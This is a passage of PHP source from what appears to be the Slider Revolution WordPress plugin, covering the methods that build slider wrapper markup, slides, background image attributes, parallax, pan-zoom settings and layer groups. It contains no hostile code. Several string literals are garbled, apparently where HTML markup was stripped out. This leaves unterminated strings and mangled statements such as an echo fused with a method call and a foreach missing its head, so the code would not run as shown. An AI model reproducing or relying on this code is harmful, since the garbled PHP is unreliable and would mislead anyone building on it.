*/ public function set_slide($slide){ $this->slide = apply_filters('revslider_set_slide', $slide, $this); } /** * get slide data and layers */ public function get_slide(){ return apply_filters('revslider_get_slide', $this->slide, $this); } /** * add the Slider Revolution on to the HTML stage * @before: RevSliderOutput::putSlider(); */ public function add_slider_to_stage($sid, $usage = '', $layout = '', $offset = '', $modal = ''){ $this->usage = $usage; $this->sc_layout = $layout; $this->offset = $offset; $this->modal = $modal; do_action('revslider_add_slider_to_stage_pre', $sid, $this); if(!$this->check_add_to()) return false; $locale = setlocale(LC_NUMERIC, 0); if($locale !== 'C') setlocale(LC_NUMERIC, 'C'); $this->set_slider_id($sid); $this->add_slider_base(); if($locale !== 'C') setlocale(LC_NUMERIC, $locale); do_action('revslider_add_slider_to_stage_post', $sid, $this); return $this->get_slider(); } /** * adds the Slider Basis * @before: RevSliderOutput::putSliderBase(); */ public function add_slider_base(){ try{ global $rs_slider_serial, $rs_js_collection, $rs_wmpl, $rs_loaded_by_editor, $rs_preview_mode; $cache = RevSliderGlobals::instance()->get('RevSliderCache'); do_action('revslider_add_slider_base_pre', $this); $rs_slider_serial++; //set the serial +1, so that if we have the slider two times, it has different ID's for sure if(empty($this->slider)){ $this->slider = new RevSliderSlider(); $this->slider->init_by_mixed($this->get_slider_id()); } /** * as it is now needed, check if an update needs to be done **/ if(version_compare($this->get_val($this->slider, array('settings', 'version')), get_option('revslider_update_version', '6.0.0'), '<')){ $upd = new RevSliderPluginUpdate(); $upd->upgrade_slider_to_latest($this->slider); $this->slider = new RevSliderSlider(); $this->slider->init_by_mixed($this->get_slider_id()); } $this->slider = apply_filters('revslider_add_slider_base', $this->slider); //set slider language if($this->get_preview_mode() == false){ $lang = $rs_wmpl->get_slider_language($this->slider); $this->change_language($lang); } //check if we are mobile and the slider needs to be printed or not if($this->slider->get_param(array('general', 'disableOnMobile'), false) === true && wp_is_mobile()) return false; if($this->slider->get_param('pakps', false) === true && $this->_truefalse(get_option('revslider-valid', 'false')) === false && $rs_preview_mode === false && $this->get_preview_mode() === false){ $this->console_exception = true; $this->throw_error(__('Please register the Slider Revolution plugin to use premium templates.', 'revslider')); // return false; } //the initial id can be an alias, so reset the id now $sid = $this->slider->get_id(); $this->set_slider_id($sid); //check if caching should be active or not $can_do_cache = ($this->get_preview_mode() === false && $cache->is_supported_type($this->slider->get_param('sourcetype', 'gallery'))) ? true : false; $this->caching = ($cache->is_enabled() && $can_do_cache) ? true : false; $do_cache = $this->slider->get_param(array('general', 'icache'), 'default'); $this->caching = ($do_cache === 'on' && $can_do_cache) ? true : $this->caching; $this->caching = ($do_cache === 'off') ? false : $this->caching; //add caching if its enabled if($this->caching){ $transient = $this->get_transient_alias(); $content = get_transient($transient); if($content !== false){ $content = json_decode($content, true); if(isset($content['html'])){ echo $cache->do_html_changes($content['html']); $cache->do_additions($this->get_val($content, 'addition', array()), $this); return true; } } } $this->modify_settings(); if($this->get_preview_mode()) $this->modify_preview_mode_settings(); $this->set_fonts(); //add html before slider markup is written $html_before_slider = ''; $markup_export = $this->get_markup_export(); if($this->ajax_loaded === true || $this->get_markup_export() || $rs_loaded_by_editor === true){ //if true, then we are loaded by ajax $html_before_slider .= ($markup_export === true) ? '' : ''; $html_before_slider .= $this->print_clean_font_import(); $html_before_slider .= ($markup_export === true) ? '' : ''; } //check if scripts should be added to the body if($this->slider->get_param(array('troubleshooting', 'jsInBody'), false) == true && $this->ajax_loaded === false){ $html_before_slider .= ($markup_export === true) ? '' : ''; $html_before_slider .= $this->add_javascript_to_footer(); $html_before_slider .= ($markup_export === true) ? '' : ''; } $slider_id = $this->slider->get_param('id', ''); $html_id = (trim($slider_id) !== '') ? $slider_id : 'rev_slider_'.$sid.'_'.$rs_slider_serial; $revapi = (in_array('revapi'.$sid, $rs_js_collection['revapi'], true)) ? 'revapi'.$sid.'_'.$rs_slider_serial : 'revapi'.$sid; $this->set_html_id($html_id); $this->set_revapi($revapi); ob_start(); echo $html_before_slider."\n"; echo $this->get_slider_wrapper_div(); echo $this->get_slider_div(); echo $this->get_slides(); //echo $this->get_timer_bar(); echo $this->close_slider_div(); $this->add_js(); $this->add_style_hover(); echo $this->add_custom_navigation_css(); echo $this->get_material_icons_css(); echo $this->add_youtube_api_html(); echo $this->close_slider_wrapper_div(); echo $this->add_unfloat_html(); $this->add_modal_font_icons(); do_action('revslider_add_slider_base_post', $this); $content = ob_get_contents(); ob_clean(); ob_end_clean(); if($this->caching){ $this->add_slider_transient($transient, $content); } echo $content; }catch(Exception $e){ $message = $e->getMessage(); if($this->console_exception){ $this->print_error_message_console($message); }else{ $this->print_error_message($message); } } } /** * creates the wrapping div container for Sliders **/ public function get_slider_wrapper_div(){ $type = $this->slider->get_param('layouttype'); $position = 'center'; //$this->slider->get_param(array('layout', 'position', 'align'), 'center'); $bg_color = esc_attr(trim($this->slider->get_param(array('layout', 'bg', 'color')))); $max_width = $this->slider->get_param(array('size', 'maxWidth'), '0'); $class = $this->slider->get_param('wrapperclass',''); $class .= ($this->usage === 'modal') ? ' rs-modal ' : ''; $style = ''; //add background color $style .= (!empty($bg_color)) ? 'background:'.RSColorpicker::get($bg_color).';' : ''; $style .= 'padding:'.esc_attr($this->slider->get_param(array('layout', 'bg', 'padding'), '0')).';'; if($type != 'fullscreen'){ switch($position){ case 'center': default: $style .= 'margin:0px auto;'; break; case 'left': $style .= 'float:left;'; break; case 'right': $style .= 'float:right;'; break; } if($position != 'center'){ $ma_l = $this->slider->get_param(array('layout', 'position', 'marginLeft'), '0'); $ma_r = $this->slider->get_param(array('layout', 'position', 'marginRight'), '0'); $style .= ($ma_l !== '') ? 'margin-left:'.esc_attr($ma_l).';' : ''; $style .= ($ma_r !== '') ? 'margin-right:'.esc_attr($ma_r).';' : ''; } $ma_t = $this->slider->get_param(array('layout', 'position', 'marginTop'), '0'); $ma_b = $this->slider->get_param(array('layout', 'position', 'marginBottom'), '0'); $style .= ($ma_t !== '') ? 'margin-top:'.esc_attr($ma_t).';' : ''; $style .= ($ma_b !== '') ? 'margin-bottom:'.esc_attr($ma_b).';' : ''; } //add background image (banner style) if($this->slider->get_param(array('layout', 'bg', 'useImage'), false) == true){ $bg_img_id = esc_attr($this->slider->get_param(array('layout', 'bg', 'imageId'))); $bg_img_type = esc_attr($this->slider->get_param(array('layout', 'bg', 'imageSourceType'), 'full')); $bg_img = esc_attr($this->slider->get_param(array('layout', 'bg', 'image'))); if(empty($bg_img_id) || intval($bg_img_id) == 0){ $bg_img_id = $this->get_image_id_by_url($bg_img); } if($bg_img_type !== 'full' && $bg_img_id !== false && !empty($bg_img_id)){ $_bg_img = wp_get_attachment_image_src($bg_img_id, $bg_img_type); $bg_img = ($_bg_img !== false) ? $_bg_img[0] : $bg_img; } $bg_img = $this->check_valid_image($bg_img); if($bg_img !== false){ $style .= 'background-image:url('.$bg_img.');'; $style .= 'background-repeat:'.esc_attr($this->slider->get_param(array('layout', 'bg', 'repeat'), 'no-repeat')).';'; //$this->slider->get_param(array('def', 'background', 'repeat'), 'no-repeat') $style .= 'background-size:'.esc_attr($this->slider->get_param(array('layout', 'bg', 'fit'), 'cover')).';'; //$this->slider->get_param(array('def', 'background', 'fit'), 'cover') $style .= 'background-position:'.esc_attr($this->slider->get_param(array('layout', 'bg', 'position'), 'center center')).';'; //$this->slider->get_param(array('def', 'background', 'position'), 'center center') } } if(!in_array($type, array('responsitive', 'fixed', 'auto', 'fullwidth', 'fullscreen'), true)){ $style .= 'height:'.$this->slider->get_param(array('size', 'height', 'd'), 900).';'; $style .= 'width:'.$this->slider->get_param(array('size', 'width', 'd'), 1240).';'; } if(!in_array($max_width, array('0', 0, '0px', '0%'), true) && $type == 'auto'){ if(intval($max_width) > 0 && strpos($max_width, 'px') === false && strpos($max_width, '%') === false) $max_width .= 'px'; $style .= (empty($max_width)) ? '' : 'max-width:'. $max_width.';'; } $fixedOnTop = array( 'v' => $this->slider->get_param(array('layout', 'position', 'fixedOnTop'), false), 'd' => false ); if($fixedOnTop['v'] === true){ $style .= 'position:fixed;top:0px;height:0px'; } $r = RS_T3.'

            '."\n"; $r .= RS_T3.'rs_module_wrap_open = true; $r .= ' id="'.$this->get_html_id().'_wrapper"'; $r .= (!empty($class)) ? ' class="'.trim($class).'"' : ''; if((is_super_admin() || is_admin_bar_showing()) && current_user_can('edit_theme_options')){ $r .= ' data-alias="'.esc_attr($this->slider->get_alias()).'"'; } $r .= ' data-source="'.$this->slider->get_param('sourcetype').'"'; $show_alternate = $this->slider->get_param(array('troubleshooting', 'alternateImageType'), 'off'); if($show_alternate !== 'off'){ $show_alternate_image = $this->slider->get_param(array('troubleshooting', 'alternateURL'), ''); $r .= ' data-aimg="'.$show_alternate_image.'" '; $r .= ($show_alternate == 'mobile' || $show_alternate == 'mobile-ie8') ? ' data-amobile="enabled" ' : ''; $r .= ($show_alternate == 'mobile-ie8' || $show_alternate == 'ie8') ? ' data-aie8="enabled" ' : ''; } $r .= ' style="visibility:hidden;'. $style .'">'."\n"; return apply_filters('revslider_get_slider_wrapper_div', $r, $this); } /** * close the wrapping div container for Sliders **/ public function close_slider_wrapper_div(){ $r = RS_T3.''."\n"; $r .= RS_T3.''."\n"; $this->rs_module_wrap_closed = true; return apply_filters('revslider_close_slider_wrapper_div', $r, $this); } /** * if wanted, add an unfloating HTML * @since: 6.0 **/ public function add_unfloat_html(){ $r = ''; if($this->slider->get_param(array('layout', 'position', 'addClear'), false) === true){ $r = RS_T3.'
            '; } return apply_filters('revslider_add_unfloat_html', $r, $this); } /** * check if the youtube api needs to be added, this should only be done once for all sliders * @since: 6.5.7 **/ public function add_youtube_api_html(){ global $rs_youtube_api_loaded; $r = ''; if($rs_youtube_api_loaded === true) return $r; //already loaded if($this->youtube_exists !== true) return $r; //no layer or slide used it //check global option if enabled $gs = $this->get_global_settings(); if($this->_truefalse($this->get_val($gs, array('script', 'ytapi'), true)) === true){ $r = RS_T4.''."\n"; $rs_youtube_api_loaded = true; } return apply_filters('revslider_add_youtube_api_html', $r, $this); } /** * adds to font loading to the modal * @since: 6.2.3 **/ public function add_modal_font_icons(){ if($this->usage === 'modal'){ RevSliderFront::load_icon_fonts(); } } /** * creates the div container for Sliders **/ public function get_slider_div(){ $style = ''; $class = $this->slider->get_param('class',''); $class .= ($this->slider->get_param(array('size', 'overflow'), true) == true) ? ' rs-ov-hidden' : ''; if(!in_array($this->slider->get_param('layouttype'), array('responsitive', 'fixed', 'auto', 'fullwidth', 'fullscreen'), true)){ $style .= 'height:'.$this->slider->get_param(array('size', 'width', 'd'), 1240).';'; $style .= 'width:'.$this->slider->get_param(array('size', 'height', 'd'), 900).';'; } $r = RS_T4.'rs_module_open = true; $r .= ($class !== '') ? ' class="'. $class .'"' : ''; $r .= ' style="'. $style .'"'; $r .= ' data-version="'. RS_REVISION .'"'; $r .= '>'."\n"; return apply_filters('revslider_get_slider_div', $r, $this); } /** * close the div container for Sliders **/ public function close_slider_div(){ $r = RS_T4.''."\n"; $this->rs_module_closed = true; return apply_filters('revslider_close_slider_div', $r, $this); } /** * get the Slides HTML of the Slider **/ public function get_slides(){ $layouttype = $this->slider->get_param('type', 'standard'); //standard, carousel or hero $order = $this->get_custom_order(); $gallery_ids = $this->get_gallery_ids(); $index = 0; /** * If we are Hero or there was a custom order Set * we need to fetch all Slides, even unpublished in order find one that might be unpublished **/ if($layouttype == 'hero' || !empty($order)) $this->set_only_published(false); if($this->get_preview_mode() === true){ /** * the slides are already set in preview mode (only in slide editor) * in the overview page, get_preview_mode() needs to be false **/ $slides = $this->get_current_slides(); }else{ /** * fetch all slides connected to the Slider (no static slide) **/ $published = $this->get_only_published(); $lang = $this->get_language(); //WPML functionality $slides = $this->slider->get_slides_for_output($published, $lang, $gallery_ids); } /** * check if we need to add gallery images * check also for order * these settings are set through shortcode manipulation **/ if(!empty($gallery_ids) && $gallery_ids[0]){ $slides = $this->set_gallery_slides($slides); }elseif(!empty($order)){ $slides = $this->order_slides($slides, $order); } /** * set the num index for further onclick events and more **/ $this->set_slides_num_index($this->slider->get_slide_numbers_by_id(true)); if($layouttype == 'hero' && empty($order) && empty($gallery_ids)){ //we are a hero Slider, show only one Slide! $hero = $this->get_hero_slide($slides); $slides = (!empty($hero)) ? array($hero) : array(); } /** * remove slides that are listed to be not shown on mobile * will be done only if we are on mobile **/ $slides = $this->remove_slide_if_mobile($slides); /** * enable the static layers if we have a static slide * only set if we are not in preview mode * as in preview mode, the static slide was already set * also note, that this only happens in the slide editor. * on the overview page, get_preview_mode will be false **/ if($this->get_preview_mode() === false){ $this->enable_static_layers($slides); } /** * if we are now at 0 slides, there will be no more chances to add them * so return back with no slides markup **/ if(empty($slides)){ $this->add_no_slides_markup(); return false; } /** * removes slides before the loop check, as a loop does still not need a navigation * and if loop will be triggered, we will have two slides, so remove it before **/ if(count($slides) == 1) $this->remove_navigation(); /** * slide loop will duplicate a single slide (if loop is active), so that we have a repeated in and out animation **/ $slides = ($layouttype !== 'hero' && count($slides) == 1) ? $this->set_slide_loop($slides) : $slides; /** * set the slides later for static action checking **/ $this->set_current_slides($slides); $this->set_general_params_for_layers(); echo apply_filters('revslider_get_slides_pre', RS_T5.''."\n", $this); foreach($slides as $slide){ $this->set_slide($slide); $this->modify_slide_by_skin(); $this->modify_layer_settings(); if($this->is_in_timeframe() === false) continue; //could also be moved to earlier and remove slides instead of continue here $this->add_slide_li_pre($index); $this->add_slide_main_image(); $this->set_slide_params_for_layers(); $this->add_background_video(); echo $this->add_opening_comment(); $this->add_zones(); $this->add_groups(); $this->add_creative_layer(); echo $this->add_closing_comment(); do_action('revslider_add_layer_html', $this->slider, $slide); $this->add_slide_li_post(); $this->set_material_icon_css(); $this->zIndex = 1; //reset zIndex on each slide $index++; } echo apply_filters('revslider_get_slides_post', RS_T5.''."\n", $this); $this->add_static_slide_html(); $this->set_material_icon_css(); //do again, so that we have static layers in the queue now } /** * push the static slide, can also be disabled through filters **/ public function enable_static_layers($slides){ if(!$this->get_do_static()) return; $static_slide = $this->slider->get_static_slide(); if($static_slide !== false){ $this->set_static_slide($static_slide); } } /** * creates the timer bar for Slider **/ public function get_timer_bar(){ $layouttype = $this->slider->get_param('type'); //standard, carousel or hero $enable_progressbar = $this->slider->get_param(array('general', 'progressbar', 'set'), true); $timer_bar = $this->slider->get_param(array('general', 'progressbar', 'position'), 'top'); $progress_height = $this->slider->get_param(array('general', 'progressbar', 'height'), '5'); $progressbar_color = RSColorpicker::get($this->slider->get_param(array('general', 'progressbar', 'color'), '#000000')); $timer_bar = ($enable_progressbar !== true || $layouttype == 'hero') ? 'hide' : $timer_bar; $progress_style = ' style="height: '.esc_attr($progress_height).'px; background: '.$progressbar_color.';"'; $r = ''; switch($timer_bar){ case 'top': $r = RS_T5.''."\n"; break; case 'bottom': $r = RS_T5.''."\n"; break; case 'hide': $r = RS_T5.''."\n"; break; } return $r; } /** * add the opening '; } /** * add the slide li with data attributes and so on **/ public function add_slide_li_pre($index){ $slide = $this->get_slide(); //Html rev-main- //echo RS_T6.''."\n"; echo RS_T6.'get_html_slide_style(); echo $this->get_html_slide_key(); echo $this->get_html_slide_title(); echo $this->get_html_slide_description(); echo $this->get_thumb_url(); echo $this->get_slide_link(); echo $this->get_html_delay(); echo $this->get_html_scrollbased_slidedata(); echo $this->get_html_stop_slide(); echo $this->get_html_invisible(); echo $this->get_html_anim(); echo $this->get_html_random_animations(); echo $this->get_html_alt_transitions(); echo $this->get_html_slide_loop(); echo $this->get_html_media_filter(); echo $this->get_html_slide_class(); echo $this->get_html_slide_id(); echo $this->get_html_extra_data(); echo $this->get_html_hide_after_loop(); echo $this->get_html_hide_slide_mobile(); echo $this->get_html_extra_params(); echo $this->get_html_image_video_ratio(); do_action('revslider_add_li_data', $this->slider, $slide); echo '>'."\n"; } /** * add the slide closing li **/ public function add_slide_li_post(){ echo RS_T6.''."\n"; } /** * add the static slide layer HTML **/ public function add_static_slide_html(){ $static_slide = $this->get_static_slide(); if($this->get_do_static() && !empty($static_slide)){ $this->is_static = true; $this->set_slide_id($static_slide->get_id()); $layers = $static_slide->get_layers(); $this->set_layers($layers); if(!empty($layers)){ $sof = $static_slide->get_param(array('static', 'overflow'), ''); $scl = $sof; $sof = (!empty($sof) && $sof == 'hidden') ? ' style="overflow:hidden;width:100%;height:100%;top:0px;left:0px;"' : ''; $slp = $static_slide->get_param(array('static', 'position'), 'front'); $slp = (!empty($slp) && $slp === 'back') ? ' class="rs-stl-back ' . ($scl == 'visible' ? 'rs-stl-visible' : '') . '"' : ($scl == 'visible' ? ' class="rs-stl-visible"' : ''); //check for static layers echo RS_T5.''."\n"; } $this->is_static = false; } } /** * add the slide li with data attributes and so on **/ public function add_slide_main_image(){ $img = $this->get_image_data(); if(!empty($img) && is_array($img)){ //echo RS_T7.''."\n"; echo RS_T7.' $v){ if($k === 'alt'){ echo ' '.$k.'="'.$v.'"'; //always print an alt even if empty continue; } echo (trim($v) !== '') ? ' '.$k.'="'.$v.'"' : ''; } echo ' data-no-retina>'."\n"; } } /** * get image params to be used later on the background image **/ public function get_image_data(){ $slide = $this->get_slide(); $bg_type = $slide->get_param(array('bg', 'type'), 'trans'); $url_trans = RS_PLUGIN_URL.'public/assets/assets/transparent.png'; $img = array('id' => false, 'src' => '', 'alt' => '', 'style' => '', 'title' => '', 'parallax' => '', 'panzoom' => '', 'width' => '', 'height' => '', 'bg' => '', 'lazyload' => ''); if($bg_type != 'external'){ $img['src'] = $slide->image_url; $img['id'] = $slide->image_id; switch($slide->get_param(array('attributes', 'altOption'), $slide->get_param(array('attributes', 'titleOption'), 'media_library'))){ case 'media_library': default: $img['alt'] = get_post_meta($img['id'], '_wp_attachment_image_alt', true); break; case 'file_name': $info = pathinfo($slide->image_filename); $img['alt'] = $this->get_val($info, 'filename'); break; case 'custom': $img['alt'] = esc_attr($slide->get_param(array('attributes', 'alt'), '')); break; } switch($slide->get_param(array('attributes', 'titleOption'), 'media_library')){ case 'media_library': default: $img['title'] = get_the_title($img['id']); break; case 'file_name': $info = pathinfo($slide->image_filename); $img['title'] = $this->get_val($info, 'filename'); break; case 'custom': $img['title'] = esc_attr($slide->get_param(array('attributes', 'title'), '')); break; } if($img['id'] !== false){ $data = wp_get_attachment_metadata($img['id']); if($data !== false && !empty($data)){ $size = $slide->get_param(array('bg', 'imageSourceType'), 'full'); //$this->slider->get_param(array('def', 'background', 'imageSourceType'), 'full') if($size !== 'full'){ if(isset($data['sizes']) && isset($data['sizes'][$size])){ $img['width'] = (isset($data['sizes'][$size]['width'])) ? $data['sizes'][$size]['width'] : ''; $img['height'] = (isset($data['sizes'][$size]['height'])) ? $data['sizes'][$size]['height'] : ''; } } if($img['width'] == '' || $img['height'] == ''){ $img['width'] = (isset($data['width'])) ? $data['width'] : ''; $img['height'] = (isset($data['height'])) ? $data['height'] : ''; } } } }else{ $img['src'] = esc_url($slide->get_param(array('bg', 'externalSrc'), '')); $img['alt'] = esc_attr($slide->get_param(array('attributes', 'alt'), '')); $img['title'] = esc_attr($slide->get_param(array('attributes', 'title'), '')); $img['width'] = $slide->get_param(array('bg', 'width'), '1920'); $img['height'] = $slide->get_param(array('bg', 'height'), '1080'); } switch($bg_type){ case 'trans': case 'transparent': case 'solid': $img['src'] = $url_trans; if(isset($img['alt']) && trim($img['alt']) === ''){ $img['alt'] = $this->get_html_slide_title(true); $img['alt'] = (empty($img['alt'])) ? __('Slide Background', 'revslider') : $img['alt']; } break; } if(isset($slide->ignore_alt)) $img['alt'] = ''; if(isset($img['title'])) $img['title'] = strip_tags($img['title']); if(isset($img['alt'])) $img['alt'] = strip_tags($img['alt']); $img['class'] = 'rev-slidebg tp-rs-img'; $img['class'] .= ($this->slider->get_param(array('general', 'lazyLoad'), false) != 'none') ? ' rs-lazyload' : ''; $img['src'] = (trim($img['src']) == '') ? $url_trans : $img['src']; //go back to transparent if img is empty $img['data-lazyload']= ($this->slider->get_param(array('general', 'lazyLoad'), false) != 'none') ? $this->remove_http($img['src']) : ''; $img['src'] = ($this->slider->get_param(array('general', 'lazyLoad'), false) != 'none') ? RS_PLUGIN_URL.'public/assets/assets/dummy.png' : $img['src']; $img['src'] = $this->remove_http($img['src']); $img['data-bg'] = $this->get_image_background_values(); $img['data-parallax']= $this->get_html_parallax(); $img['data-panzoom'] = $this->get_html_pan_zoom(); unset($img['id']); return $img; } /** * get data-bg image background values **/ public function get_image_background_values(){ $slide = $this->get_slide(); $bg = ''; $pos = $this->get_background_position(); $f_r = $this->get_background_fit_and_repeat(); $c = ($slide->get_param(array('bg', 'type'), 'trans') == 'solid') ? RSColorpicker::get($slide->get_param(array('bg', 'color'), '#ffffff')) : ''; $c = ($c == '' && $slide->get_param(array('bg', 'type'), 'trans') == 'solid') ? '#ffffff' : $c; //force white here as we need it in frontend $bg .= (!in_array($pos, array('', '50%', '50% 50%', 'center center', 'center'), true)) ? 'p:'.$pos.';' : ''; $bg .= ($c !== '' && $c !== 'transparent') ? 'c:'.$c.';' : ''; $bg .= ($f_r['f'] !== '' && $f_r['f'] !== 'cover') ? 'f:'.$f_r['f'].';' : ''; $bg .= ($f_r['r'] !== '' && $f_r['r'] !== 'no-repeat') ? 'r:'.$f_r['r'].';' : ''; return $bg; } /** * get the parallax html **/ public function get_html_parallax(){ $slide = $this->get_slide(); $parallax = ''; if($this->slider->get_param(array('parallax', 'set'), false) == true){ $slide_level = $slide->get_param(array('effects', 'parallax'), '-'); if($slide_level == '-') $slide_level = 'off'; $parallax = $slide_level; } return $parallax; } /** * get ken burns html data **/ public function get_html_pan_zoom(){ $slide = $this->get_slide(); $bg_type = $slide->get_param(array('bg', 'type'), 'trans'); $pan = ''; if($slide->get_param(array('panzoom', 'set'), false) == true && ($bg_type == 'image' || $bg_type == 'external')){ $d = $slide->get_param(array('panzoom', 'duration'), '10000'); $e = $slide->get_param(array('panzoom', 'ease'), 'none'); $this->easings[$e] = $e; $ss = $slide->get_param(array('panzoom', 'fitStart'), '100'); $se = $slide->get_param(array('panzoom', 'fitEnd'), '100'); $rs = $slide->get_param(array('panzoom', 'rotateStart'), '0'); $re = $slide->get_param(array('panzoom', 'rotateEnd'), '0'); $bs = $slide->get_param(array('panzoom', 'blurStart'), '0'); $be = $slide->get_param(array('panzoom', 'blurEnd'), '0'); $os = $slide->get_param(array('panzoom', 'xStart'), '0').'/'.$slide->get_param(array('panzoom', 'yStart'), '0'); $oe = $slide->get_param(array('panzoom', 'xEnd'), '0').'/'.$slide->get_param(array('panzoom', 'yEnd'), '0'); $pan .= ($d !== '') ? 'd:'.$d.';' : ''; $pan .= ($e !== 'none') ? 'e:'.$e.';' : ''; $pan .= 'ss:'.$ss.';'; $pan .= 'se:'.$se.';'; $pan .= ($rs !== '0') ? 'rs:'.$rs.';' : ''; $pan .= ($re !== '0') ? 're:'.$re.';' : ''; $pan .= ($bs !== '0') ? 'bs:'.$bs.';' : ''; $pan .= ($be !== '0') ? 'be:'.$be.';' : ''; $pan .= ($os !== '0/0') ? 'os:'.$os.';' : ''; $pan .= ($oe !== '0/0') ? 'oe:'.$oe.';' : ''; } return $pan; } /** * get background position for the image **/ public function get_background_position(){ $slide = $this->get_slide(); $pos = $slide->get_param(array('bg', 'position'), 'center center'); //$this->slider->get_param(array('def', 'background', 'position'), $type = $slide->get_param(array('bg', 'type'), 'trans'); if($type == 'streamvimeoboth' || $type == 'streamyoutubeboth' || $type == 'streaminstagramboth' || $type == 'streamtwitterboth'){ $pos = ($this->check_if_stream_video_exists()) ? 'center center' : $pos; }else{ $pos = ($type == 'youtube' || $type == 'vimeo' || $type == 'html5' || $type == 'streamvimeo' || $type == 'streamyoutube' || $type == 'streaminstagram' || $type == 'streamtwitter') ? 'center center' : $pos; } $pos = ($pos == 'percentage') ? intval($slide->get_param(array('bg', 'positionX'), '0')).'% '.intval($slide->get_param(array('bg', 'positionY'), '0')).'%' : $pos; //$this->slider->get_param(array('def', 'background', 'positionX'), '0') $this->slider->get_param(array('def', 'background', 'positionY'), '0') return $pos; } /** * get image fit and repeat params **/ public function get_background_fit_and_repeat(){ $slide = $this->get_slide(); $bg_type = $slide->get_param(array('bg', 'type'), 'trans'); $return = array('f' => '', 'r' => ''); if(!($slide->get_param(array('panzoom', 'set'), false) == true && ($bg_type == 'image' || $bg_type == 'external'))){ //only set if kenburner is off and not a background video //$this->slider->get_param(array('def', 'panZoom', 'set'), false) if($bg_type == 'youtube' || $bg_type == 'html5' || $bg_type == 'vimeo' || $bg_type == 'streamvimeo' || $bg_type == 'streamyoutube' || $bg_type == 'streaminstagram' || $bg_type == 'streamtwitter'){ $return['f'] = 'cover'; }else{ //additional background params $bgFit = $slide->get_param(array('bg', 'fit'), 'cover'); //$this->slider->get_param(array('def', 'background', 'fit'), 'cover') if(!in_array($bgFit, array('cover', 'contain', 'percentage', 'auto'))) $bgFit = 'cover'; $return['f'] = ($bgFit == 'percentage') ? intval($slide->get_param(array('bg', 'fitX'), '100')).'% '.intval($slide->get_param(array('bg', 'fitY'), '100')).'%' : $bgFit; //$this->slider->get_param(array('def', 'background', 'fitX'), '100') $this->slider->get_param(array('def', 'background', 'fitY'), '100') $return['r'] = $slide->get_param(array('bg', 'repeat'), 'no-repeat'); //$this->slider->get_param(array('def', 'background', 'repeat'), 'no-repeat') } } return $return; } /** * set slide specific values that are needed by layers * this is needed to be called before any layer is added to the stage **/ public function set_slide_params_for_layers(){ $slide = $this->get_slide(); $this->set_slide_id($slide->get_id()); $this->set_layers($slide->get_layers()); } /** * add background video if one is selected **/ public function add_background_video(){ $slide = $this->get_slide(); $type = $slide->get_param(array('bg', 'type'), 'trans'); //check if we are youtube, vimeo or html5 if($type == 'youtube' || $type == 'html5' || $type == 'vimeo' || $type == 'streamvimeo' || $type == 'streamyoutube' || $type == 'streaminstagram' || $type == 'streamtwitter'){ $this->add_html_background_video(); } if($type == 'streamvimeoboth' || $type == 'streamyoutubeboth' || $type == 'streaminstagramboth' || $type == 'streamtwitterboth'){ if($this->check_if_stream_video_exists()) $this->add_html_background_video(); } } /** * Add Groups with columns and the layers of it * @since: 5.3.0 * @before: RevSliderOutput::putCreativeZones() */ public function add_zones(){ $layers = $this->get_layers(); if(empty($layers)) return false; $this->container_mode = ''; $zones = array('t' => 'top', 'm' => 'middle', 'b' => 'bottom'); foreach($zones as $zs => $zone){ //go through all three zones foreach($layers as $layer){ if($this->get_val($layer, 'type', 'text') !== 'row') continue; //we only want to handle rows here to get the zones we need to create $this->row_zindex = 0; $layer_zone = $this->get_val($layer, array('group', 'puid'), 'top'); if($layer_zone !== $zone) continue; //wrong zones, so continue $this->increase_layer_depth(); //we have found a zone, now fill it with rows, columns, layers ob_start(); //fetch the data, as we need to set the z-index on the rows $this->add_rows($layer_zone); $row_layers = ob_get_contents(); ob_clean(); ob_end_clean(); //get the zone z-index from the zone layer $zi = $this->get_val($layers, array($zone, 'position', 'zIndex'), $this->row_zindex); $this->decrease_layer_depth(); echo RS_T6. $this->add_closing_comment() .''; echo $this->add_opening_comment()."\n"; echo $row_layers; echo RS_T7.$this->add_closing_comment().''.$this->add_opening_comment()."\n"; $this->container_mode = ''; break; //zone is written, go to the next one } } } /** * Add Groups with columns and the layers of it * @since: 5.3.0 * @before: RevSliderOutput::putCreativeGroups() */ public function add_groups($puid = '-1', $layers = false){ //-1 means: we only want to handle groups here that are on the first level $layers = ($layers === false) ? $this->get_layers() : $layers; if(empty($layers)) return false; $container_mode = $this->container_mode; foreach($layers as $layer){ if($this->get_val($layer, 'type', 'text') !== 'group') continue; //we only want to handle groups here to get the zones we need to create if($this->get_val($layer, array('group', 'puid'), '-1') !== $puid) continue; $this->add_specific_group_layer($layer); } $this->container_mode = $container_mode; } /** * Add a single group, specified by the given layer * @since: 6.6.8 **/ public function add_specific_group_layer($layer){ $uid = $this->get_val($layer, 'uid'); $this->set_layer($layer); $this->add_layer(true, 'group'); //add the group layer $this->container_mode = 'group'; $this->increase_layer_depth(); $this->add_group_layer($uid); //add all layers that are in the group $this->decrease_layer_depth(); echo $this->ld().RS_T7.'-->'.$this->add_opening_comment()."\n"; } /** * put creative layer * @before: RevSliderOutput::putCreativeLayer() */ private function add_creative_layer(){ $layers = $this->get_layers(); if(empty($layers)) return false; $layers = apply_filters('revslider_putCreativeLayer', $layers, $this, $this->is_static); $this->container_mode = ''; foreach($layers as $layer){ if((string)$this->get_val($layer, array('group', 'puid'), '-1') !== '-1') continue; //dont do group layer $this->set_layer($layer); $this->add_layer(false); } } /** * Add all Layers that are in the group with $u_id * @since: 5.3.0 * @before: RevSliderOutput::putCreativeGroupLayer(); */ public function add_group_layer($u_id){ $layers = $this->get_layers(); $group_layers = array(); $go = 9999; foreach($layers as $layer){ $p_uid = $this->get_val($layer, array('group', 'puid')); $uid = $this->get_val($layer, array('group', 'uid')); if((string)$u_id !== (string)$p_uid) continue; if((string)$u_id === (string)$uid) continue; $order = $this->get_val($layer, array('group', 'groupOrder')); if($order === ''){ $order = $go; $go++; } $group_layers[$order] = $layer; } if(!empty($group_layers)){ krsort($group_layers); //sort the rows foreach($group_layers as $layer){ //allow groups in groups $this->set_layer($layer); if($this->get_val($layer, 'type') === 'group'){ $this->add_specific_group_layer($layer); }else{ $this->add_layer(true); //add the layer into the group } } unset($group_layers); } } /** * Add Groups with columns and the layers of it * @since: 5.3.0 * @before: RevSliderOutput::putCreativeRows() */ public function add_rows($current_zone){ $layers = $this->get_layers(); if(empty($layers)) return false; $row_layer = array(); $go = 9999; foreach($layers as $layer){ if($this->get_val($layer, 'type', 'text') !== 'row') continue; //we only want to handle rows here of the current zone and add them as a rows if($this->get_val($layer, array('group', 'puid'), 'top') !== $current_zone) continue; //wrong zones, so continue $order = $this->get_val($layer, array('group', 